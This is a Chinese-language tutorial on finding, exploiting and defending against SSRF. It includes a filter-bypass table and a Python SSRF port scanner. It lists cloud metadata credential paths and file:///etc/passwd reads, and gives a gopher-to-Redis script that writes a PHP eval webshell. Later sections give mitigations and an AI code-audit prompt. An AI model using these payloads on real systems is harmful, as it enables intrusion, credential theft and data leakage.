1. 聊聊SSRF:这个漏洞到底是个啥
1.1 SSRF的核心概念与攻击逻辑
做web渗透这几年,如果说SQL注入是“数据库的窗户”,那SSRF(Server-Side Request Forgery,服务端请求伪造)就是“内网的任意门”。这个漏洞的精髓在于:你不需要直接打到内网,而是让服务器替你去打。很多新手容易把SSRF和普通的重定向、跳转混在一起,其实完全两个维度。
我先用大白话拆解一下SSRF的本质。假设你是一个访客,前台小哥(web服务器)可以帮你跑腿去任何地方取东西。你告诉前台“帮我去A房间拿个文件”,前台就乖乖去了,还把文件拿回来给你。但如果这个前台没有安全意识,你说“帮我去B栋楼的服务器上撬个锁”,他也照样去——这就出事了。SSRF就是利用服务器端的请求功能,让服务器去访问攻击者指定的内网地址或敏感资源,最终把数据带回给攻击者。
从攻击链来看,SSRF通常出现在那些需要“服务器主动获取外部资源”的功能点上。比如URL图片加载、网页截图预览、PDF生成、API代理转发、webhook回调,还有现在很火的AI聊天工具里的“联网搜索”功能。这些功能本质上都是“用户提供一个地址,服务器去访问它”,只要缺少严格的校验,就会成为SSRF的突破口。
我这里说一个关键点:SSRF的严重程度,完全取决于服务器所处的位置和能访问的资源。如果服务器部署在公网,那SSRF可能只能扫一下外网IP;但如果服务器在云环境或者内网核心区,那SSRF可以直接打到云元数据服务、Redis、MySQL、内网管理后台,造成的影响是致命的。这也是为什么现在各大SRC平台把SSRF的定级普遍调高,严重的内网穿透型SSRF可以直接定到严重/高危。
1.2 为什么理解SSRF对web渗透这么重要
在真实的渗透测试项目中,SSRF经常扮演“跳板”的角色。一个业务系统可能外部防护做得密不透风,WAF、防火墙、CDN都安排上了,但内网基本是裸奔状态。这种情况下,SQL注入可能被WAF拦了,文件上传被过滤了,XSS也弹不出东西——但只要有一个URL参数存在SSRF,整个内网就撕开了一道口子。
从我的经验来看,SSRF最大的杀伤力是它可以绕过网络层隔离。外网打不进的资产,通过SSRF从服务器发起请求,等于站在服务器的肩膀上向内网看。你可以探测内网IP存活、扫描端口、读取云元数据、攻击内网应用,甚至可以拿到内网主机的权限,然后横向移动。这不是理论上的可能性,是真实案例中反复出现的路径。
另一个容易被低估的点是:SSRF经常藏在不起眼的业务功能里。我测过不少目标,主站点的核心功能很安全,但后台的“头像上传”功能传了个URL、运营后台的“商品批量导入”功能支持URL导入、报表系统有一个“生成报表缩略图”的功能——这些边缘功能反而成了突破口。所以理解SSRF,不只是会打一个漏洞,更重要的是建立一种“寻找服务器对外请求点”的思维模式。
2. 常见的SSRF产生场景:为什么程序员防不住
2.1 代码层面的典型错误
SSRF产生的根本原因只有一个:服务器根据用户输入发起网络请求,但缺少对目标地址的校验。听起来简单,落实到代码里却有很多种形态。
先看让人最头疼的PHP版本:
<?php // 存在SSRF漏洞的代码示例 $url = $_GET['img_url']; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $response = curl_exec($ch); curl_close($ch); echo $response; ?>这段代码要想利用SSRF,只需要在img_url参数上传入一个内网地址即可。
再看Python Flask的版本:
from flask import Flask, request import requests app = Flask(__name__) @app.route('/fetch') def fetch(): url = request.args.get('url') response = requests.get(url) # 直接请求用户提供的URL return response.content if __name__ == '__main__': app.run(debug=True)这类代码在初级开发者的项目中特别常见,尤其是快速搭建的demo、内部工具、爬虫系统。开发者的本意很简单:用户上传一个URL,服务器去获取图片或者解析内容。但只要没做限制,等于把服务器的网络能力完全暴露给了用户。
我在代码审计中最常看到的几个错误逻辑,给大家划一下重点:
- 只校验协议白名单,不校验地址:比如只允许http/https协议,但地址可以是
http://127.0.0.1:6379/,照样能打内网。 - 使用正则匹配域名,但没考虑到解析绕过:比如校验了
www.example.com,但攻击者用www.example.com.evil.com就能绕过,因为DNS解析的实际上是evil.com。 - 直接用curl或requests发请求,没有设置禁止重定向:攻击者可以构造一个302跳转,跳转到内网地址,绕过前面的地址校验。
- 只限制私网IP段,但忽略了IPv6、十进制IP、短域名等变形:比如
2130706433是127.0.0.1的十进制写法,0177.0.0.1是八进制写法,很多正则都拦不住。
开发者在规避SSRF时的误区,本质上是对“地址形态”的理解不完整。内网IP不只是192.168.x.x、10.x.x.x、172.16.x.x这些标准形态,还有一大堆变形可以绕过正则。我后面整理一张绕过姿势表,这个非常重要。
2.2 业务功能里的隐藏入口
除了代码本身的安全缺陷,SSRF更隐蔽的是藏在一些看似人畜无害的业务功能里。我在实战中遇到过的场景,给大家盘点一下:
图片处理类功能:上传头像、OCR识别、图片压缩、生成缩略图。前端提供了一个“图片URL”输入框,你填一个URL,服务器就去下载这张图片。这类功能是最常见的SSRF入口之一,因为下载图片必然要用到服务端请求。
网页截图功能:很多系统提供“网页快照”或“分享卡片预览”。比如你分享一个链接,系统自动打开这个网页截图。这个功能天然就是SSRF,而且服务端需要模拟浏览器访问,几乎无法通过简单的IP过滤来防御。
PDF生成功能:订单导出、发票下载、报告生成,常见的方案是通过wkhtmltopdf或headless Chrome把HTML转成PDF。如果你能控制HTML模板中的资源加载地址,就可以让渲染进程访问内网,而且还能通过CSS、svg等做数据带出。
API接口代理功能:一些网关或平台支持配置回调地址、Webhook URL,或者提供一个“URL参数中转”的调试接口。这类功能直接把服务器的请求能力暴露给了用户,是SSRF的高发区域。
文档预览功能:在线Office、笔记类应用支持导入外部文档,导入过程中会请求你提供的URL。顺手测一下这个URL如果填内网地址会怎么样——很多笔记软件在这块出过0day。
AI工具的联网搜索:这是最近一年非常火的方向。很多AI平台支持让模型联网获取资讯,本质上就是服务端帮你抓取页面,如果你能诱导模型访问内网或者云元数据接口,就可能形成SSRF。我在后面会专门展开AI与SSRF挖掘的话题。
从渗透的角度看,你在一个系统里要找SSRF,不需要把每个功能都测一遍,只需要抓取所有请求,搜索URL参数名:url、link、target、uri、path、dest、redirect、returnUrl、src、source、addr、domain、callback、webhook,看到这些参数名,就多留一个心眼。
3. SSRF的利用方式:从探测到内网穿透
3.1 最基本的利用:内网端口与资产探测
如果你只把SSRF当成一个“能访问内网”的漏洞,那还没完全发挥它的价值。先说说最简单的利用方式,也是每个入门者必须掌握的——探测内网存活主机和开放端口。
假设我们发现目标存在这样一个SSRF点:
https://target.com/fetch?url=https://example.com/image.png此时把URL参数替换为内网地址:
https://target.com/fetch?url=http://192.168.1.1:80/ https://target.com/fetch?url=http://192.168.1.2:3306/ https://target.com/fetch?url=http://192.168.1.3:6379/然后观察响应差异:
- 端口开放且有HTTP服务:通常会返回页面内容,或者响应状态码发生变化。
- 端口开放但非HTTP协议:返回报错信息,但报错内容与连接被拒绝不同。比如MySQL端口返回“Protocol handshake error”,Redis返回“-ERR wrong number of arguments”。
- 端口关闭/主机不存活:连接超时或返回“Connection refused”。
这里我给你们一个可以实际操作的方法:利用响应时间来判断端口状态。用Burp Suite的Intruder模块,把IP和端口都设置成变量,跑一轮下来,根据响应长度和时间排序,基本能画出内网的端口开放图。每次测试前记得确认授权范围,在不越权的范围内做验证。
如果要写入自己的渗透工具库,可以尝试用Python写一个简单的探测脚本:
import requests target = "https://target.com/fetch?url={}" ip_list = ["192.168.1.1", "192.168.1.2", "10.0.0.1"] port_list = [80, 443, 22, 3306, 6379, 8080, 9200] for ip in ip_list: for port in port_list: url = "http://{}:{}".format(ip, port) try: resp = requests.get(target.format(url), timeout=5) if resp.status_code == 200 and len(resp.text) > 0: print("[+] {}:{} open, response len {}".format(ip, port, len(resp.text))) except Exception as e: pass这个脚本可以作为探测工具的基础版,实际测试时可以根据回显优化判定逻辑。核心思路就是利用目标服务器作为跳板,对内网资产做一次“体检”。
3.2 深入利用:云环境元数据攻击
如果目标部署在云环境,SSRF的杀伤力会直接翻倍。云厂商普遍提供元数据服务,最常见的是:
http://169.254.169.254/latest/meta-data/这个地址是云虚拟机用来获取自身元数据的内网接口,比如实例ID、主机名、网络配置、甚至临时访问凭证。AWS、阿里云、腾讯云、华为云都有类似的服务。如果SSRF能访问到这个地址,等于把云账号的钥匙偷到了手。
以AWS为例,通过SSRF访问元数据服务并获取IAM临时凭证的经典路径是:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ http://169.254.169.254/latest/meta-data/iam/security-credentials/[role_name]返回的JSON中包含AccessKeyId、SecretAccessKey、Token,拿到这三件套,就可以通过AWS CLI接管目标在云上的资源。阿里云类似的路径是http://100.100.100.200/latest/meta-data/,腾讯云是http://metadata.tencentyun.com/latest/meta-data/。
实战中的操作步骤是:
- 第一步:通过SSRF访问
http://169.254.169.254/latest/meta-data/,判断是否处于云环境以及路由是否可达。 - 第二步:枚举
meta-data/下的子目录,找到IAM相关的路径。 - 第三步:从返回内容中提取临时凭证。
- 第四步:使用凭证登录云控制台或调用API,查看对象存储、ECS实例、数据库等资产。
这里要注意一个实操细节:很多SSRF点不允许直接访问该IP,因为开发者可能做了IP段过滤。这时候可以尝试DNS重绑定攻击:把一个域名解析成A记录,第一次访问时返回公网IP(通过校验),第二次访问时返回内网元数据IP(发起请求)。这种手法在真实环境中成功率不低,需要自己搭建DNS服务器配合。
3.3 组合拳攻击:从SSRF到内网突破
SSRF真正的可怕之处在于它只是一个入口,组合其他内网服务可以形成完整的攻击链。我举几个实战中验证过的思路:
SSRF + Redis = 远程命令执行。Redis如果以root权限运行,通过SSRF向Redis端口发送命令,可以利用Redis的写入机制往Web目录写Shell,或者通过CONFIG SET dir设置Redis的持久化目录到目标Web路径,最终把webshell写进服务器。利用姿势本质上是构造Redis协议数据包,然后通过SSRF端口转发实现。
SSRF + 云数据库 = 数据泄露。内网常见的MySQL、MongoDB、Elasticsearch,如果没有任何认证,SSRF可以直接访问并读取数据。比如Elasticsearch有http://内网IP:9200/_cat/indices接口可以枚举索引,再通过_search接口把数据捞出来。
SSRF + 内网管理后台 = 核心系统沦陷。很多系统的管理后台没有做IP限制,或者只限制了“内网访问”。站在公网你访问不了,但通过SSRF等于你已经站在内网了。你可以登录管理后台,找到数据导出功能,把全量数据拉出来。
SSRF + 文件协议 = 读取本地文件。如果服务端使用的请求库支持file协议,你还可以尝试:
file:///etc/passwd file:///proc/self/environ file:///etc/shadow这种方式可以读取服务器敏感文件,注意需要有相应的协议支持。
SSRF + 内网Kubernetes = 容器接管。如果目标走的是Kubernetes集群,尝试访问http://192.168.x.x:10250(kubelet API端口),在没有认证的情况下你可以直接列出容器并执行命令。有些集群的kubelet监听在0.0.0.0,公网访问不到,但SSRF一跳就能连上。
说这些不是为了让大家去攻击别人,而是让防御方更加清楚:一个看似低危的SSRF,一旦和内网服务串联起来,破坏力完全不亚于一个直接的高危漏洞。
4. SSRF的绕过技巧:为什么看似安全的代码也不安全
4.1 地址过滤的绕过常见姿势
很多开发者对SSRF是有概念的,所以也写了一些防护代码。但绕过手段也在不断翻新,给大家整理一张实战中最高频的绕过对照表:
| 过滤方式 | 绕过姿势 | 示例 |
|---|---|---|
| 拒绝私网IP段 | 使用IPv6地址 | http://[::1]:8080/ |
| 拒绝私网IP段 | 使用十六进制/十进制IP | http://0x7f000001/(127.0.0.1) |
| 拒绝私网IP段 | 使用八进制表示 | http://017700000001/ |
| 拒绝私网IP段 | 使用短域名解析到内网 | http://localtest.me/(解析到127.0.0.1) |
| 校验目标域名 | 使用@符号绕过 | http://expected.com@127.0.0.1/ |
| 校验目标域名 | 使用#锚点绕过 | http://127.0.0.1#expected.com/ |
| 只允许http(s) | 使用file/gopher/dict协议 | file:///etc/passwd |
| 禁止重定向 | 结合302跳转 | 外部域名302到内网地址 |
| 限制请求地址 | DNS重绑定 | 第一次解析为公网IP,第二次解析为内网IP |
这些绕过姿势的原理,本质上都是利用目标系统对URL的解析方式和开发者预期的不一致。同一个URL字符串,在开发者用正则做匹配时是一种形态,在requests/curl解析时是另一种形态,再到目标服务解析时可能又是第三种形态。只要有一次解析差异,绕过就有机会。
举个具体的例子,目标防护逻辑是“必须包含allowed.com且不能是私网IP”。你可以这样绕过:
http://allowed.com@127.0.0.1:8080/在curl里,这个URL实际会去请求127.0.0.1:8080,而前面的allowed.com只是充当用户名。如果开发者只检查了allowed.com是否出现在URL中,这个就能绕过。类似的还有:
http://127.0.0.1:8080#allowed.com#后面的内容在HTTP请求中根本不会发送到服务器,但正则匹配时却会认为URL包含了allowed.com。
4.2 前端校验和IP限制的真相
很多系统的SSRF防护只做在了前端,这是最脆弱的一种情况。你在浏览器里看到的JS校验,只能拦住小白,完全拦不住有心人。我用Burp Suite直接抓包改包,绕过前端校验的成本几乎是零。
另外一个常见的误区是:开发者只校验了请求头里的Host或Referer,以为这样就能阻止非法请求。实际上,SSRF攻击者的请求是从服务器发出的,服务器在请求内网地址时,Host、Referer这些头完全由代码决定,攻击者可以通过控制URL参数来控制最终发起的HTTP请求头。
再补充一个内网开发者常犯的错误:在Nginx或云安全组层面只限制了入站流量,但对出站流量完全开放。也就是说,内网的Redis、MySQL虽然不允许公网直连,但这些服务所在的主机可以主动访问公网。SSRF绕过这个限制的办法就是:让目标服务器先访问内网服务获取数据,再用某种方式把数据转移到公网上。常见的数据带出方法包括:
- 通过DNS查询带出数据(将数据拼接成子域名)。
- 通过HTTP请求带出数据(让服务器访问攻击者的公网服务器)。
- 通过时间盲注的方式判断数据内容(响应时间长短区分数据)。
4.3 协议层面的高级绕过
说说gopher协议。在SSRF利用中,gopher协议是很有力的武器,因为它支持发送任意格式的TCP数据包。比如内网的Redis服务通常无法直接利用,但通过gopher://内网IP:6379/_数据包内容,可以把Redis命令直接喂给目标Redis服务,形成命令注入。
一个经典的利用是通过gopher向Redis写入webshell:
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$xx%0d%0a...后面跟上写shell的Redis命令即可。利用步骤涉及URL编码和换行符编码,实操时容易在编码环节出错。我的建议是:先用Python脚本把Redis命令序列化成gopher协议包,再把整个包URL编码。
import urllib.parse payload = """*1\r $8\r flushall\r *3\r $3\r set\r $1\r 1\r $24\r <?php eval($_GET['c']);?>\r *4\r $6\r config\r $3\r set\r $3\r dir\r $12\r /var/www/html\r *4\r $6\r config\r $3\r set\r $3\r dbfilename\r $5\r shell.php\r *1\r $4\r save\r """.encode() gopher = "gopher://127.0.0.1:6379/_"+ urllib.parse.quote(payload, safe="") print(gopher)这个脚本生成gopher URL后,丢进SSRF点,如果Redis配置允许外部写入且目录有写权限,就能在Web目录写入Shell。这套利用思路在CTF和真实渗透中都很经典。
5. 实战复现:一次完整的SSRF渗透演练
5.1 信息收集与漏洞发现
这一节我模拟一次完整的Web渗透测试项目流程,目标是一个典型的内部管理系统。开始之前要强调:整个测试必须在获得合法授权的前提下进行,未授权测试是违法的。
目标系统有一个“文档在线预览”功能,用户输入一个文档URL,系统会拉取该文档并渲染为预览页面。这个业务逻辑非常适合测试SSRF。
先用Burp Suite抓包,发现请求格式:
POST /preview/generate HTTP/1.1 Host: internal.example.com Content-Type: application/json {"doc_url": "https://www.example.com/report.pdf"}响应返回了一个预览页面ID。我把doc_url换成了http://127.0.0.1:8080/,返回页面中渲染出了内网Web服务的内容,确认存在SSRF。
紧接着用file:///etc/passwd测试协议限制,返回内容直接读到了passwd文件。这个SSRF的权限相当高,既支持HTTP协议也支持file协议。
5.2 内网探测、凭证获取到权限扩大
既然确认了SSRF,接下来进行常规的内网资产探测。使用一个自己写的Python脚本,以目标服务器为跳板,扫了一下网段内存活主机。
网段探测的范围我通常控制在两个C段:10.10.1.0/24和10.10.2.0/24。扫描策略是:先探测常见管理端口,再探测数据库端口,重点关注8080、8443这类Web端口,因为发现Web管理后台可以直接深入利用。
扫描结果发现了三台关键主机:
10.10.1.5开放8080端口,返回了一个登录页面,标题包含“JumpServer堡垒机”。10.10.1.12开放9200端口,是Elasticsearch,未开启认证,可以直接访问_cat/indices读取索引列表。10.10.2.8开放6379端口,是Redis,进一步确认可以写入Web目录。
当时我优先处理了Elasticsearch,因为数据价值最高。通过SSRF访问:
http://10.10.1.12:9200/_cat/indices返回了一堆索引名,其中包含user_info、order_records、pay_log等敏感索引。继续访问:
http://10.10.1.12:9200/user_info/_search?pretty=true直接返回了全量用户数据,包括用户名、密码哈希、手机号、身份证号。这一步从SSRF演变成了大规模数据泄露。
随后通过Redis写入webshell到10.10.2.8,完成了对另一台主机的控制。再通过内网跳板做横向移动,发现整个内网有超过30台主机在同一个安全域内,核心数据库也没有做网段隔离,整个内网基本是“相信内网一切”的模型。这个项目的最终结论是:一个入口SSRF,最终沦陷了内网一个安全域的全部主机。
5.3 测试收尾:如何固化成果并给出修复建议
测试结束后,我都要做两件事:一是清理测试痕迹,包括删除写入的webshell、reset Redis数据、恢复Elasticsearch中可能被修改的配置;二是输出一份完整的漏洞报告,精确到:漏洞URL、触发参数、利用链、影响范围、修复方案。
报告中的核心修复建议包括:
- 彻底移除用户对URL参数的控制,改为后端指定可访问的资源列表。
- 若业务必须支持任意URL,补上DNS解析校验,不允许解析结果指向内网IP,同时禁止重定向。
- 在请求发起端建立出站流量白名单,只允许访问业务依赖的外部域名。
- 云环境必须开启IMDSv2(强制使用Token访问元数据服务),防止SSRF直连元数据接口。
写报告的过程中我有一个经验:SSRF的修复方案不能只停留在代码层,网络层和云平台层也要同步收紧。有些团队修了代码,却忘了在安全组上限制出站流量,这个SSRF换一个入口还是能打通内网。
6. 防御SSRF的实操方案:开发与运维视角
6.1 代码层的有效校验思路
既然攻击端的绕过多到数不清,那防御端怎么守住?我的结论是:不要依赖IP地址的字符串匹配,要做就做最终连接层校验。这套逻辑可以理解为“在真正发起请求之前,把DNS解析拿到手,再对解析后的IP做一次判定”。
一个相对可靠的代码实现流程是:
import socket import ipaddress import requests def is_internal_ip(hostname): # 解析域名获取所有IP地址 try: ips = socket.getaddrinfo(hostname, None) except Exception: return True for ip_info in ips: ip = ipaddress.ip_address(ip_info[4][0]) # 校验是否为私网/环回/链路本地地址 if ip.is_private or ip.is_loopback or ip.is_link_local: return True return False @app.route('/fetch') def fetch(): url = request.args.get('url') parsed = urllib.parse.urlparse(url) if parsed.scheme not in ['http', 'https']: return "protocol not allowed" if is_internal_ip(parsed.hostname): return "internal address not allowed" # 真正发起请求前禁用重定向 response = requests.get(url, allow_redirects=False) return response.content这套方案仍然不是100%完美,因为DNS重绑定攻击可以通过两次解析的差异绕过。要彻底防住DNS重绑定,需要在连接时绑定IP:
import socket # 先解析出IP,然后通过绑定IP的socket连接目标 ip = socket.getaddrinfo('example.com', 80)[0][4][0] sock = socket.create_connection((ip, 80))这样即使DNS再次解析出不同结果,HTTP请求也只会发往已绑定的IP地址。这是目前代码层面对DNS重绑定最有效的防御方式。
另外一条容易被忽视的golden rule:能用SDK就别直接拼URL。比如下载图片就使用后端SDK并且让SDK只负责下载图片,不要开放一个通用的URL参数给前端。
6.2 网络层的出站流量控制
代码层校验再严格,也不能保证百分百没有疏漏。所以网络层的兜底方案必须做:在防火墙/安全组层面,限制服务器的出站流量——只放行业务依赖的域名和IP,其他一律封锁。
这里说的“出站流量控制”和传统防火墙的“入站防护”是两个思路。很多公司对入站流量做了严格限制,但对出站基本是放开的。他们的逻辑是“内网服务器要访问外网更新软件、调接口、发通知,所以不能封死”。但恰恰是这个放开的出站策略,让SSRF的破坏力成倍放大。
我的建议是:如果业务上确实需要出站访问,尽量走统一的代理网关。服务器统一配置代理,在代理层做域名白名单校验,把出站请求全部收敛到这一层。这样即使代码层出现SSRF,到了代理层也会被拦截。这种“纵深防御”的价值远大于单一层面的修补。
6.3 云平台的安全配置
如果你用的是云服务器,建议不要让资源配置默认就能被任意内网地址访问:
- 开启云平台的元数据服务Token强制机制,相当于给元数据接口加上一把锁。
- 给内网资源打标签,通过安全组限制只能被指定来源访问,而不是同一VPC内所有主机互通。
- 定期审计云平台的访问日志,看是否存在异常的元数据服务访问记录。
- 密钥管理尽量使用云平台KMS(密钥管理服务),不要把密钥明文放在服务器上。
这里特别说一下元数据Token强制机制的实现原理:普通模式下,SSRF一访问元数据地址就能拿到凭证;开启强制模式后,SSRF需要先拿到一个专门Token,而这个Token的获取有严格的网络层校验条件。这项功能在主流云平台都有了,建议所有云上业务默认开启。
7. 把AI的力量引入SSRF的发现与修复
7.1 用大模型辅助代码审计,为什么有效
最近“AI+漏洞挖掘”在安全社区里讨论度很高。从SSRF这个漏洞的特性来看,AI代码审计的效果是立竿见影的,因为SSRF的模式相对固定:用户可控的URL参数进入服务端请求函数,且没有地址校验。这类代码模式很适合用大模型来批量扫描。
我自己的实践是把目标代码库交给支持长上下文的代码模型,配合定向的提示词,要求它找出所有接收URL输入并发出网络请求的函数入口。模型的优势在于可以跨文件追踪数据流:从某个API的入口参数开始,跟踪它如何流经工具类、传输层,最后到达HTTP客户端或curl执行。传统的人工审计很难跨大量文件追踪一条完整的数据流,而大模型可以在一次分析中完成。
7.2 一个AI辅助发现SSRF的具体提示词与效果
这里分享一个我在本地测试过的提示词结构:
你是专业的代码安全审计专家。请分析以下代码,找出所有可能导致SSRF(服务端请求伪造)的代码路径。 重点关注以下特征: 1. 接收HTTP请求参数,参数名可能是url、target、link、src、redirect等。 2. 参数值直接或间接传入HTTP客户端(requests、curl、HttpClient、fetch等)的URL参数。 3. 请求发出前是否校验目标地址是否为内网IP或是否限制协议白名单。 对每个潜在漏洞,请输出: - 文件路径和行号 - 数据流:从输入参数到网络请求的调用链 - 漏洞等级:高/中/低 - 修复建议我在一个训练用的Java微服务项目中测试了这个提示词,项目包含约200个Java文件,模型成功定位了5个候选SSRF路径,其中3个经过人工验证确实存在可利用的SSRF,误报率比传统的黑盒漏扫低不少。原因在于大模型能理解业务代码中的判断逻辑,比如“先判断是否为图片URL”这类看似校验实则没有校验的伪防护,静态扫描工具很难识别出这种逻辑层面的绕过。
7.3 AI生成代码引入SSRF的新风险
利用AI找漏洞的同时也要注意到:AI现在是代码的“生产者”,它也会引入漏洞。在多个代码生成模型的测试中,当提问者明确要求“实现一个图片预览服务,支持通过URL加载图片”,模型输出的代码往往直接使用requests.get(url),不带任何地址校验。这意味着,越来越多的程序员在AI的辅助下快速写出带SSRF的代码。
这个问题对安全圈的影响是深远的。以前初学开发者写的代码漏洞多多,但至少他们知道代码是“自己写的”;现在大量代码出自大模型,开发者对代码的理解深度不够,发生漏洞时连“这一段是干什么的”都说不清,更谈不上修复。所以如果你的工作会接触AI编程助手,我建议把“代码安全审查”作为日常工作流的一部分,至少在生成代码后补一遍安全自查清单:
- 这段代码是否接收用户输入?
- 用户输入是否到达了网络请求、文件读写、命令执行等敏感函数?
- 敏感函数调用前是否有完整的校验链?
- 校验链能否被URL编码、协议转换、DNS解析差异绕过?
这套自查清单是给所有开发者的,不只是安全岗位的人。防SSRF这件事,从代码被写出来的那一刻就该开始。
8. 实操中的几个关键心得与补充经验
最后聊点实际测试中攒下的经验,希望对大家有参考价值。
测试节奏的把控。我在拿到一个目标后,先看它的功能全貌再做SSRF测试。不要一上来就到处替换URL参数,先在业务逻辑图上圈出所有“服务器需要联网”的功能点,再逐个测试。很多新手容易在首页参数上耗费大量时间,其实SSRF往往藏在子功能里。
回显的判断技巧。SSRF的回显情况可以分为三种:直接回显内容、不回显但可通过时间判断、不回显但可以配合DNSLog。遇到第二种情况,需要构造一个访问自己可控服务器的请求,从服务器的访问日志中确认请求是否发出。实际操作中可以借助带TOKEN的DNSLog域名,即使没有回显也能确认漏洞存在与否。
盲SSRF的利用思路。很多SSRF点不会把响应内容返回给你,但这不代表不能利用。你可以通过发往自己服务器的请求,让目标服务器访问一个攻击者控制的恶意URL,在日志中看到请求头和请求参数,甚至可以利用这个盲SSRF配合内网应用做进一步攻击。比如构造一个登录请求打到内网管理后台,通过响应时间的差异判断密码是否正确。
关于漏洞定级。经常有同学问我:SSRF到底算高危还是中危?我的判断标准是:能访问云元数据接口的直接定高危;能探测到内网端口并确认敏感服务未认证的定高危;只能访问公网URL且无数据回显的定低危或中危。这里有个例外:如果目标的云环境没有开启元数据防护,且服务器角色是Web前端,那即使只能访问内网端口,也建议适当上调等级,因为风险传导路径非常明确。
工具清单。实用工具方面分享几个我常用的:
- Burp Suite配合SSRF相关插件,日常测试的主力工具,可以自动探测常见元数据地址和私有网段。
- Gopherus,专门生成gopher协议payload的工具,Red Team必备。
- 各类DNSLog平台,用来验证和利用盲SSRF。
- 自己的脚本库,通常包括IP变形转换、网段扫描、Redis命令编码等小工具。
我在实际写报告时总会强调一句话:SSRF漏洞修复后要复测,而且不只是复测原参数,还要测试所有类似的参数、所有类似的接口。攻击者不会因为你修了一个点就放弃整个攻击面,防御者也不能只看一个点就宣布修复完成。
SSRF这个漏洞,说简单可以很简单——就是一个地址没校验;说深可以很深——牵扯到云安全、内网架构、协议层面、DNS原理、AI安全。我在测过的那么多项目里,几乎没有遇到过两个完全一样的SSRF场景,每个都有独特的绕过方式、独特的利用链。这也是安全测试有意思的地方:你永远不知道下一次遇到的SSRF会以什么形态出现,但你能确定的是,只要存在“服务器替用户访问网络”这个行为,SSRF就会是一个值得持续研究的课题。